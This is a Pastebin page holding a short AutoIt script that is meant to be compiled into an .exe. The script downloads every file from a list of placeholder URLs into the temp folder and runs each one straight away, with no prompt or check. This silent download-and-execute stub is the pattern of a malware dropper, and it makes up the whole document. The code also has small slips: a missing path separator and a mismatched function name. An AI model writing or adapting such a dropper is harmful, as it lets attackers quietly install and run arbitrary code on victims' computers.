Advertisement
bookmarks31415926

au3 to exe

Jan 30th, 2021
802
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 0.60 KB | None | 0 0
  1. #comments-start
  2. save this file as .au3 then download autoit compiler and compile
  3. #comments-end
  4.  
  5. #include <StaticConstants.au3>
  6. #include <WindowsConstants.au3>
  7.  
  8. Local $urls = "url1,url2"
  9.  
  10. Local $urlsArray = StringSplit($urls, ",", 2 )
  11.  
  12. For $url In $urlsArray
  13.     $sFile = _DownloadFile($url)
  14.     shellExecute($sFile)
  15.  
  16. Next
  17.  
  18. Func _DownloadFile($sURL)
  19.     Local $hDownload, $sFile
  20.     $sFile = StringRegExpReplace($sURL, "^.*/", "")
  21.     $sDirectory = @TempDir & $sFile
  22.     $hDownload = InetGet($sURL, $sDirectory, 17, 1)
  23.     InetClose($hDownload)
  24.     Return $sDirectory
  25. EndFunc   ;==>_GetURLImage
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement